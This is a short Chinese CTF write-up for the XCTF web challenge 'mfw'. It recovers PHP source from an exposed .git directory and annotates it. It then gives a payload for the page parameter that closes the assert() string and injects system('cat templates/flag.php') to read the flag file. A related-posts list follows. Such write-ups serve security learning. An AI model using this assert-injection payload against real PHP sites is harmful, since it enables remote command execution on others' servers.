XCTF-web-mfw

发现了git

使用GitHack下载一下源文件,找到了php源代码

csharp 复制代码
<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

解析

csharp 复制代码
<?php
// 获取GET参数中的page值,如果不存在则默认为"home"
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

// 拼接文件路径,将page值作为文件名
$file = "templates/" . $page . ".php";

// 安全检查:确保路径中不包含".."(目录遍历攻击防护)
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// 安全检查:确保文件存在
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

解题:

?page=').system("cat templates/flag.php");//

')进行闭合

system("cat templates/flag.php")表示在系统中执行cat templates/flag.php命令,该命令用于查看templates目录下的flag.php文件内容

在源码中可以看到flag

相关推荐
中科三方14 小时前
域名解析怎么查询?有哪些域名解析查询方式?
网络安全
Thanks_ks17 小时前
计算机网络全维度解析:架构协议、关键设备、安全机制与新兴技术深度融合
网络安全·网络设备·量子通信·计算机网络架构·协议体系·新兴技术·5g 技术
lubiii_17 小时前
攻防世界János-the-Ripper
安全·网络安全
枷锁—sha17 小时前
【HW系列】—C2远控服务器(webshell链接工具, metasploit、cobaltstrike)的漏洞特征流量特征
运维·服务器·网络·测试工具·web安全·网络安全
落寞的魚丶19 小时前
第三届宁波技能大赛网络安全赛项样题
网络安全·渗透测试·ctf·服务器配置·第三届宁波技能大赛
small_white_robot1 天前
Tomcat- AJP协议文件读取/命令执行漏洞(幽灵猫复现)详细步骤
java·linux·网络·安全·web安全·网络安全·tomcat
半个西瓜.1 天前
JWT安全:假密钥.【签名随便写实现越权绕过.】
网络·安全·web安全·网络安全·安全威胁分析
2501_916008892 天前
Flutter、React Native、Unity 下的 iOS 性能与调试实践:兼容性挑战与应对策略(含 KeyMob 工具经验)
websocket·网络协议·tcp/ip·http·网络安全·https·udp
炎码工坊2 天前
云原生安全基石:深度解析HTTPS协议(从原理到实战)
网络协议·网络安全·云原生·https·云计算